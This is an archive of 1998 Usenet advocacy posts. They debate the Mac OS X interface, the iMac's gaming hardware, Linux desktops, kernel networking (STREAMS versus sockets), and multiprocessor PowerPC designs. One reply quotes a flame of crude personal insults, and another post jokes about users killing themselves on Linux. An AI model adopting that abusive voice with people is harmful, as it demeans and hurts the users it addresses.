In the end you didn't upgrade an old computer, you crippled a new one.
> A Pentium-II upgrade is not necessary, however, for Mr Hiebert's
> challenge of running NT 5.0. An Evergreen i586 upgrade will do the job
> just fine; the cost will come in around $100 or less.
But you still have the GC and HDD.
Lars T.
From: Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 6 Aug 1998 16:26:51 GMT
Organization: That hasn't stoped us from shipping Win'95
Message-ID: <6qclgb$eth$2@news02.btx.dtag.de>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu>
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Pulsar <tokarek@uiuc.edu> wrote:
> > > You dismiss the "Trash Can thing" too quickly. The user should not have to
> > > modify his behavior or have to spend time learning a behavior because of
> > > some quirk of the OS when it could be done to be immediately intuitive and
> > > quick.
> >
> > And you spend too much time overanalyzing a graphical shortcut! How do you
> > make an alias to a file, or get info, or create a new folder? You select
> > the item, then make a menu selection or use a command-key shortcut. And
> > that is the EXACT SAME WAY THAT YOU EJECT A DISK! You select the disk (by
> > clicking), and then select the Eject menu item!
>
> Gee. Let's look further into what this entails.
>
> There are 4 options that are worth discussing.
>
> 1) Put Away: why does that eject and unmount a disk? Why is it called that
> and why is it in the File menu if it operates on disks?
In the german MacOS version this is called "Zurücklegen" - Put Back. And
that's what it does - it puts back (when possible) stuff on the desktop
or in the trash to where it was before you put it there. Why is it in
the File menu? Because it was added so people could easily put back
files. Why does it operate on disks? Well, "Can't put away "Floppy",
because it's not a file" may be consistent, but it's not user-friendly.
BTW, why is New Folder in the File menu - a folder is not a file.
> 2) Eject: why is that in the Special menu? That is not an obvious place
> for it. Yes searching through the menus would get the user to it
> eventually, but it is not obvious and intuitive.
What *is* the obvious place? The File menu?
Lars T.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 06 Aug 1998 11:38:57 -0500
Organization: Ericsson North America Inc.
Message-ID: <35C9DC21.C3E06D0@ericsson.com>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net> <35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se> <6pt3sq$5sv$1@lwnws01.ne.highway1.com> <fnww1.16408$7k7.13463314@news.rdc1.sdca.home.com> <35C5E454.36ECA327@exu.ericsson.se> <Q_vx1.18322$7k7.15161830@news.rdc1.sdca.home.com> <35C72BA2.F645A6CA@ericsson.com> <andyba-ya02408000R0408981731370001@news> <35C7BB93.C369E74B@nstar.net> <andyba-ya02408000R0508981534110001@news> <35C8ED8B.13026496@ericsson.com> <alex-0608981119560001@castle.webis.net>
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Alex Kac wrote:
> Well good, then. You'll like MOST of the new Theme's support in Appearance
> 1.1 under 8.5. It DOES let you replace existing interface code - to a
> point. For example, you could implement a new widget that miniturized a
> window insted of windowshading it.
Where do you get this? I can't find anything about it on the developer
web site.
MJP
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy
Subject: Is Merced doomed?
Date: 6 Aug 1998 16:30:54 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdc157$4c555c20$06387880@chewy>
Interesting article at News.com regarding Intel's IA-64 chip's
prospects:
Is Merced doomed?
http://www.news.com/News/Item/0,4,24990,00.html?st.ne.fd.gif.d
To summarize, Merced's release date continues to slip, and by the time
it ships, chips by other companies as well as Intel and HP will be
available or right around the corner that will rival Merced.
Todd
From: davidsen@tmr.com (bill davidsen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Date: 6 Aug 1998 16:45:22 GMT
Organization: TMR Associates, Schenectady NY
Message-ID: <6qcmj2$13fu$1@newssvr09-int.news.prodigy.com>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net>
NNTP-Posting-Date: 6 Aug 1998 16:45:22 GMT
Originator: davidsen@darkstar.prodigy.com
In article <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net>,
Steve Sullivan <macghod@concentric.net> wrote:
| From todays santa barbara news press, editorial page, a readers letter:
| <title> Working on Apple's newest G3, and loving it </title>
| As a long-time reader and techno-guy (uh huh, yes you are just so wise, mr
| g3's are at least twice as fast as a intel 400 mhz pc), I wonder why the
| weekly monday featrure on computer related issues in the News-Press is so
| unfriendly toward Appel computers.
| The article on the recent Macworld show typifies the negative attitude
| and dismissal of Macs as a viable entity in the hi-tech world.
I think the primary reason people don't take Apple seriously is that
many of the people who like Apple computers are low tech people who
have problems with concepts like limiting their posting to
Apple-centric newsgroups.
--
Bill Davidsen (davidsen@tmr.com) CTO, TMR Associates, Inc
What do you mean I shouldn't do things like that at my age? At my
age if you don't do things like that you might die of natural
causes or boredom!
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: 6 Aug 1998 17:09:11 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6qcnvn$36d@shelob.afs.com>
References: <6qcjoc$kf4$1@nnrp03.primenet.com>
John Jensen <jjens@primenet.com> writes
> In terms of larger apps, did you know that Informix and Oracle have
> commited to Linux ports?
Not to mention Netscape and Corel (the entire WordPerfect Office suite).
What Linux needs is non-geek installation tools and an enterprise-quality
support organization, which Red Hat and Caldera do not offer. That's the
only way it will ever rise above "snuck in the back door" status at
serious installations (of which there are many, but don't tell the boss).
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Thu, 06 Aug 1998 12:55:17 -0500
Organization: Ericsson North America Inc.
Message-ID: <35C9EE05.38454558@ericsson.com>
References: <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <pxpst2-2007981409410001@pelli.pathology.pitt.edu> <joe.ragosta-2007982108170001@elk57.dol.net> <35BF1822.3E94CE81@earthlink.net> <joe.ragosta-2907982111520001@elk76.dol.net> <35C14DC2.74ADCDA0@earthlink.net> <6psofk$eb6$1@news.spacelab.net> <35C1F3A8.2B36FFA2@exu.ericsson.se> <geh-3107981123110001@odo.safe.internal> <macghod-3107981422050001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <35C23CFF.74C99D5B@exu.ericsson.se> <6qclg8$eth$1@news02.btx.dtag.de>
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Lars Träger wrote:
> And you'll have a graphics card at least 4 years old, if it was cutting
> edge it'll be local bus and you couldn't use it even if you found
> drivers. Plus a HD slightly bigger and faster than a ZIP-drive.
I didn't mention these things because they aren't necessarily important
in the least. A local-bus video card can be a candidate for a PII box;
even if it isn't, a cheap PCI "booter" card can be had nearly for free.
I use lots of computers at work that have no video card, and no mouse.
Most of the workstations around here have tiny hard drives. The point is
that a 386-based PC can be upgraded via motherboard swap and used for
compute-intensive tasks like compiling. A PII compile node with no video
card and a tiny hard disk would be a very appealing option for me at
home, for instance, if I could even afford that right now.
> In the end you didn't upgrade an old computer, you crippled a new one.
You have to decide what you want to use the machine for. Then you need
to build it. My upgradees are anything but crippled, thank you.
> But you still have the GC and HDD.
How do you know the HDD wasn't already upgraded? Again, we're talking
about a hypothetical situation with minimal data on purpose. Don't start
making up the data; it's not relevant to the issue.
MJP
From: wbynum@cs.tamu.edu (Wade Eric Bynum)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: Solution to Imac SUCKS for games
Date: 6 Aug 1998 17:37:33 GMT
Organization: Texas A&M Computer Science Department, College Station, TX
Message-ID: <6qcpkt$3ku$1@news.tamu.edu>
References: <macghod-0508982340280001@sdn-ar-001casbarp214.dialsprint.net> <35C96E2A.3A8AF932@earthlink.net>
NNTP-Posting-Date: 6 Aug 1998 17:37:33 GMT
In article <35C96E2A.3A8AF932@earthlink.net>,
Chad <lakari@earthlink.net> wrote:
>The reason the voodoo is so cheap is that it's not a complete video
>controller. It only enhances 3d games that are written specifically to take
>advantage of it. All other video functions are passed through the card from
>the normal video controller and to the screen. I've got a 233 G3 minitower
>with the Rage II chip in it...I'm not a hard core gamer, but I do enjoy
>playing Quake and the like now and then. It still kicks ass, even without
>3Dfx acceleration...very high frame rates at high resolution and detail. I
>think the iMac will be more than adequate for most home users.
>
After using a 3dfx card (perferably v2), you would never say
that q2 or any other FPS is fine in software mode. This little
thread illustrates the main problem with the iMac. Many kids
are going to be very disapointed when their friends start
talking about how cool hardware accelaration is, and he
realises this nice new box his parents bought him cannot
take 3d card.
--
Kcobra
(kcobra@tam2000.tamu.edu) and (http://http.tamu.edu:8000/~kcobra/)
"I have been and always shall be your friend."
--Spock
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: 6 Aug 1998 18:09:00 GMT
Organization: Primenet (602)416-7000
Message-ID: <6qcrfs$lls$1@nnrp03.primenet.com>
References: <6qcjoc$kf4$1@nnrp03.primenet.com> <6qcnvn$36d@shelob.afs.com>
Gregory H. Anderson <Greg_Anderson@afs.com> wrote:
: What Linux needs is non-geek installation tools and an enterprise-quality
: support organization, which Red Hat and Caldera do not offer. That's the
: only way it will ever rise above "snuck in the back door" status at
: serious installations (of which there are many, but don't tell the boss).
Yes. I spent last night getting my XFree86 config tuned for my monitor
and trying to get my Wacom Artpad II running. I found the work rewarding,
but it was the same kind of perverse rewarding-because-it's-hard that was
common in the DOS days. Until the easy install stuff is done, perhaps
Linux should use the slogan:
"Got Windows figured out? Come on over and kill yourself on Linux!"
BTW, the "Drooling Macaque" (v0.25) release of Gnome came out yesterday.
One more step towards ease-of-use. See www.gnome.org
John
From: Mark Trombino <mtrombin@ix.netcom.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: Thu, 06 Aug 1998 11:24:08 +0000
Organization: ICGNetcom
Message-ID: <35C99113.AF7BDE32@ix.netcom.com>
References: <6qa5sl$4pm1@onews.collins.rockwell.com> <01bdc0f2$29212aa0$deb4dccf@samsara>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Jonathan Hendry wrote:
>
> > - Will use case insensitive file names
>
> But case-preserving. Annoying at most.
> > - Will not have built in Display Postscript
>
> But will provide the most important features.
To me, the most important feature of DPS is that the code used to draw on the
screen is the same code sent to a laser printer. Will this be the case with
the PDF based engine?
Also, if Apple dropped DPS because of licensing fees from Adobe, how did they
get around licensing fees for PDF? Just wondering... :)
> > What have I forgotten ?
> > Will MacOS-X contain a single line of code from Openstep outside the
> > YellowBox ? MacOS-X will have a new kernel, new file system, new
> graphics
> > system, no command line utilities,...
>
> Why exactly is this important?
Well, for me at least (I suppose I'm only speaking for myself), the dream of
Openstep running on Mac hardware, gaining a much needed facelift and becoming
a mainstream OS is dead, and was probably so immediately after the NeXT
purchase (although I didn't want to see it). I had once thought that Apple
would produce something much, much better than what all of us had on our
desktops - NeXT and Mac users alike. But from what I've gathered from
postings in this group, OSX will be inferior to Openstep in almost every way I
can think of. The world will not miss what it never had in the first place,
but I certainly will.
--
==============================================
Mark Trombino <mtrombin@ix.netcom.com>
==============================================
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 6 Aug 1998 08:25:25 -0500
Organization: Texas Instruments
Message-ID: <MPG.10336abdffe86b6c989778@news.itg.ti.com>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <6q7c32$9ut$1@hecate.umd.edu> <35C72D4A.22D9ECCE@milestonerdl.com> <6qaldm$oo5$1@pale-rider.INS.CWRU.Edu> <macghod-0508981547060001@sdn-ar-001casbarp117.dialsprint.net> <joe.ragosta-0608980731080001@0.0.0.0>
In article Joe Ragosta, joe.ragosta@dol.net says...
> In article <macghod-0508981547060001@sdn-ar-001casbarp117.dialsprint.net>,
> macghod@concentric.net (Steve Sullivan) wrote:
>
> > FUnny how my "fact free opinion" is usually backed with url's. This is a
> > second post of your and still it contains no facts... Post some of these
> > "factually inaccurate" posts by me? I am not a genius, but at least I am
> > interested in facts and back up with what I say.
> >
> > This article I originally quote claimed a imac would be TWICE as fast as a
> > p2 300. My posts in the g3 versus p2 speed debate has used as evidence
>
> UP TO twice as fast.
>
> UP TO
>
> UP TO
>
> UP TO
>
> Get it yet?
Joe, check out that iMac demo with the little kid vs. an adult trying to
get on the internet. They don't say "up to".. They just say "twice as
fast".
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Junking STREAMS?
Content-Type: text/plain; charset=us-ascii
Message-ID: <Ex9v4I.10w@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: pjbrew@nospam.com
Organization: none
References: <6qah44$g4n$1@server.signat.org> <B1EEB8C2-108067@204.31.112.150>
Mime-Version: 1.0
Date: Thu, 6 Aug 1998 14:33:53 GMT
In <B1EEB8C2-108067@204.31.112.150> "Phil Brewster" wrote:
> Is it a case of shortcuts in time to market? (If I've understood Maury's
> explanations correctly, the Mach/BSD underpinnings should support either
> technology, but wouldn't sockets be easier to implement from an Apple OS
> engineering standpoint, as the 'native' approach that is already being used
> in NeXTstep/Rhapsody 1.0, for instance?....)
That depends entirely on their method of constructing the kernel. They are
making a kernel "derived from" (whatever that means in this context) Mk7.3.
Mk7.3 uses STREAMS - indeed I _think_ MkLinux uses the Sockets emulation into
the kernel.
So if they are licencing any part of Mk, they're getting STREAMS, built in
and debugged, for free. To me this implies they are rolling their own
kernel. The people I've talked to in the OSF say Mk/OSF-1 is a one-time
purchase all inclusive, and discounted to members like Apple.
> I seem to recall from somewhere that one of the limitations of the original
> Blue Box was a lack of connectivity to the 'outside world' when running
> older Mac apps anyway, so if nothing's changed in that regard then I guess
> there's not _too_ much for me to complain about as a user, but I had
> envisioned the longer-term MacOS X support for Mac APIs as being better
> than this. -- Was I mistaken?
And thus the worst part of the whole issue. I have _abslutely_ no problem
with losing compatibility of features in the BB/Carbon side if this results
in an advantage to the YB side - Im a YB programmer after all. However if
this was the case in the current debate, they would have used CORDS instead.
CORDS kicks both Sockets and STREAMS, and can 100% emulate either.
> standardization on sockets make 'Carbonizing' current Mac apps that use
> networking less of a 'no-brainer' and more of a PITA, resulting in a slower
> rate of updates for 'native' use on MacOS X, for instance?
Yes, at least I'll predict this to be at least 50% true in networking
cases.
> OTOH, maybe this will lead (as in: force?....) more developers to simply
> take the plunge and adopt YB instead of relying on Carbon in the first
> place..... It occurs to me (in a brief flash of Machiavellian insight....
> <g>) that Apple will be needing native networking software for 'Mac OS X
> Server' (formerly known as Rhapsody CR 1.0) more or less immediately, 8-12
> months in advance of Carbon's availability on the version of MacOS X slated
> for Q3 1999. Cutting off all paths leading back to Mac OT (even via
> Carbon....) _might_ be a way of getting more sockets-based native software
> for the 'server version', faster, in the interim.
Maybe, that's interesting.
> Or, it might blow up in their face, as current OT-based Mac developers run
> screaming away from the new platform entirely....
Indeed, try to get the tapes of the networking feedback sessions. I'm
surprised chairs weren't flying.
Maury
From: SCJennings@prowillen.com (Sam Jennings)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: Solution to Imac SUCKS for games
Date: Thu, 06 Aug 1998 11:41:19 -0700
Organization: Internet Specialties West, Inc.
Message-ID: <SCJennings-0608981141200001@192.168.1.13>
References: <macghod-0508982340280001@sdn-ar-001casbarp214.dialsprint.net>
In article <macghod-0508982340280001@sdn-ar-001casbarp214.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> Yes, we all know Jobs made a slight boo boo. Commenting how games would
> be included with the imac, insuiating that the imac would be good for
> games, when it comes with a lousy rage II card.
>
> Well, I think the solution is easy: Apple should start working on getting
> video options for the bto system. Say at first, maybe just a vodoo card
> instead of the rage II for a extra $50. I do not know exactly how its
> implemented, but I take it it would take a while to get this right since
> the rage 2 is part of the motherboard, thus it would take a while to
> somehow get a vodoo working? Actually, come to think of it since its
> part of the logic board it wouldnt really work well as a BTO option. They
> should just replace the rage II with a vodoo 1.
According to an article on MacWeek www site today, the iMac will not be
sold with any Built-to-Order options:
http://macweek.zdnet.com/1230/nw_apple.html
an extract from the article:
Retailers who participate in the Reseller BTO program will have access to
a variety of options to order customized systems, Apple said. Additional
products will be added to the BTO list in the coming months, the company
said, but the iMac won't be one of them.
"The iMac wouldn't apply because it's a preconfigured system," said Apple
spokeswoman Rhona Hamilton.
Sam Jennings
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: Thu, 06 Aug 1998 13:41:05 -0500
Organization: Ericsson North America Inc.
Message-ID: <35C9F8C1.677CC6B2@ericsson.com>
References: <6qcjoc$kf4$1@nnrp03.primenet.com> <6qcnvn$36d@shelob.afs.com> <6qcrfs$lls$1@nnrp03.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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John Jensen wrote:
> BTW, the "Drooling Macaque" (v0.25) release of Gnome came out yesterday.
> One more step towards ease-of-use. See www.gnome.org
I really don't mean to start a KDE/GNOME war here, but I would call
Drooling Macaque one more step in catching up to KDE's ease-of-use. In
my opinion, the only reason the flamewars still go on and GNOME is still
being developed is because very few people have actually looked at
either one with any level of scrutiny. KDE's APIs, documentation,
stability, app presence, support, size, and elegance are *stunning*.
There is so much potential in KDE and Qt it's not even funny.
I won't bother to bash GNOME; I welcome anyone who's interested to
download Omaha and actually try to get it to compile. Go ahead. I think
your "Come on over and kill yourself on Linux!" applies to GNOME if to
nothing else.
Fortunately, Caldera, SuSE, LinuxPPC, DLD, and Micro Unix Systems all
ship KDE as a standard. It is, after all, 0.75 versions ahead of GNOME
(0.25 + 0.75 = 1.0).
MJP
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: 6 Aug 1998 19:09:33 GMT
Organization: Primenet (602)416-7000
Message-ID: <6qcv1d$12g$1@nnrp02.primenet.com>
References: <6qcjoc$kf4$1@nnrp03.primenet.com> <6qcnvn$36d@shelob.afs.com> <6qcrfs$lls$1@nnrp03.primenet.com> <35C9F8C1.677CC6B2@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
: John Jensen wrote:
: > BTW, the "Drooling Macaque" (v0.25) release of Gnome came out yesterday.
: > One more step towards ease-of-use. See www.gnome.org
: I really don't mean to start a KDE/GNOME war here, but I would call
: Drooling Macaque one more step in catching up to KDE's ease-of-use.
Neither am I. I don't think that you should take the fact that I
didn't mention KDE as a slam against it. For whatever arbitrary reason, I
happen to have Gnome installed.
If we can discount the excess flamage, I think the Gnome/KDE competition
has been productive. Both projects have made adjustments to suit the
public, and both continue to improve.
It's the strength of the bazaar that ousiders see the inital shape of a
project and have the chance to influence it.
John
From: eric@buyamac.com (Eric Lowenbach)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Thu, 06 Aug 1998 18:20:31 GMT
Organization: http://extra.newsguy.com
Message-ID: <35c9f33a.15355969@enews.newsguy.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net> <6q9l4j$773$1@lwnws01.ne.highway1.com> <joe.ragosta-0508980949010001@wil46.dol.net> <6q9qt9$cvg$1@lwnws01.ne.highway1.com> <NOamradioSPAM-0608980031190001@207-172-129-235.s235.tnt2.col.erols.com> <6qberc$3lm$1@lwnws01.ne.highway1.com>
Ooh, I'll bet you kiss your mother with that mouth too!
1, 2, 3..... ** P L O N K ! ! ! **
On 6 Aug 1998 05:27:08 GMT, John Kheit <jkheit@mediaone.net> wrote:
>NOamradioSPAM@thebizlink.com (Steve) wrote:
>> I've always been told people from New Hampshire were slow. Is
>> THIS stereotype "manifest from something"? Your logic is astounding.
>
>If I'm being slow, it's only so a moronic dip shit, piece of crap, monkey
>turd like yourself would stand a chance of comprehending. Clearly I've
>failed at being slow enough. Let's try it again before they load you on the
>special bus again. On second thought I wouldn't want to take away from your
>enjoyment of playing in your diapers. Diapers, you know, the thing that
>collects what you use for a brain skippy.
>
>
>> Strawman. No one is arguing about the edible qualities of rhino
>> dung or a great manhatten cheese cake.
>
>Strawman? Hmm, yes, I think that is an good name for you. Now if you only
>had a brain. You bumblefuck turd.
>
>
>--
>-- Thanks, be well, take care, later, John Kheit; self expressed --
>______________________________________________________________________
>UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
> mailto:jkheit@uco-iplaw.com
> http://people.ne.mediaone.net/jkheit
> You're dangerous because you're honest...
From: Steve Dekorte <dekorte@slip.net>
Newsgroups: comp.sys.next.advocacy
Subject: How to Kill Microsoft
Date: 6 Aug 1998 19:22:43 GMT
Organization: Slip.Net (http://www.slip.net)
Message-ID: <6qcvq3$t0i$1@owl.slip.net>
People don't really buy HW, OSes or software.
What people buy are communictions standards -
and whatever HW, OS, and software are required to support them.
If Apple or a group of hackers wants to break Microsoft, they need
to eliminate Microsofts hold on commincation standards.
Those being MSWord, Excel and other data formats.
Get a team together that will routinely publish up-to-date free code
libraries that can read/write those formats and those formats and keep
doing so.
This will allow other platforms to talk to existing ones, which is the
only way they have a chance of surviving. Microsoft can't even maintain
compatibility with it's own older versions of it's formats. If these
libs would allow other products to do so, they would even have something
of an advantage.
---
Steve Dekorte
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: How to Kill Microsoft
Date: 6 Aug 1998 19:35:57 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6qd0it$3r8@shelob.afs.com>
References: <6qcvq3$t0i$1@owl.slip.net>
Steve Dekorte <dekorte@slip.net> writes
> Get a team together that will routinely publish up-to-date free code
> libraries that can read/write [Word, Excel] and those formats and keep
> doing so.
There are already companies that do this sort of thing. AFS used them
to make WriteUp and PasteUp capable of handling a wide variety of other
formats. But you still need to apply them in application-specific ways,
and you still need applications that can match Word and Excel feature
for feature (and using approximately the same set of options and data
structures). Otherwise you start losing critical data.
Believe me, if this were easy, everyone would be doing it. I think the
best hope is if Microsoft holds to its promise to make Office 2000 XML-
compliant.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Thu, 06 Aug 1998 20:39:14 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qd49j$kjd$1@nnrp1.dejanews.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com> <6qa8a7$lvs$1@nnrp1.dejanews.com> <joe.ragosta-0608980738010001@0.0.0.0>
In article <joe.ragosta-0608980738010001@0.0.0.0>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> As I thought. All of your Mac bashing is based on lack of information.
>
> Mac OS 8 is light years ahead of Mac OS 7.x or 6.x.
Actually, I've run 6.x, 7.x and 8.x on my Macs. We where talking about the
operating system's vulnerability to application errors and not it's total user
experience. In this respect, nothing significant has changed between these
versions. Maybe I'd give 8.x an extra half a letter grade due to it's greater
ability to handle errors when virtual memory is on.
BTW Joe, I am not trying to bash the Mac OS for no reason. I think people
should acknoledge the flaws in the Mac OS, the strength of it's competitors
and tell Apple to get off it's ass. The Mac used to be lightyears ahead of
any other operating system. Now it's barely tied. I am still developing
software for the Mac OS. In fact, a friend and I just released a freeware
control panel called Keyboard Combiner
(http://www.wcwd.com/keyboardcombiner/). I'm not sure what significant
contributions you've made and what technical knowledge you have that makes
you a good judge of other people.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Newsgroups: comp.sys.next.advocacy
From: news@news.msfc.nasa.gov
Message-ID: <cancel.06089816.2259@none444.yet>
Control: cancel <06089816.2259@none444.yet>
Subject: cmsg cancel <06089816.2259@none444.yet>
Organization: http://www.msfc.nasa.gov/
Date: Thu, 6 Aug 1998 20:53:38 GMT
Sender: no.email.address.entered@none444.yet
Make Money Fast post canceled by J. Porter Clark.
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.next.advocacy,comp.arch
Subject: Re: 4-way PPC 750
Date: Mon, 03 Aug 1998 18:45:55 -0500
Organization: none
Message-ID: <tim-0308981845550001@jump-tnt-0224.customer.jump.net>
References: <6q53ln$la2@newsb.netnews.att.com> <joe.ragosta-0308981644470001@wil82.dol.net>
NNTP-Posting-Date: 3 Aug 1998 23:44:45 GMT
| In article <6q53ln$la2@newsb.netnews.att.com>,
| gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
|
| > I had thought that it was difficult to build a 2-way PPC 750
| > machine, and impossible to build more than that. This is the
| > impression I received from newsgroups, etc.
In article <joe.ragosta-0308981644470001@wil82.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) replied:
| I think I read that it was possible, but that it required a significant
| number of extra chips to handle the cache.
Sigh. I thought I had gone over this enough, but apparently not. the 750
requires some extra *software* to perform some of the more infrequent
maintanence of coherency:
- icache invalidation across multiple processors
- TLB invalidation across multiple processors
data cache coherency is maintained in hardware using an MEI protocol.
There are no hardware restrictions to building generalized N-way SMP
systems out of 603{e}, 604{e}, or 750 other than the system arbiter must
accept and arbitrate N requests each bus cycle (and the external interrupt
must be distributed to all processors).
--
-- Tim Olson
From: mmp5@axe.humboldt.edu
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Thu, 06 Aug 1998 20:51:56 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qd51c$m8g$1@nnrp1.dejanews.com>
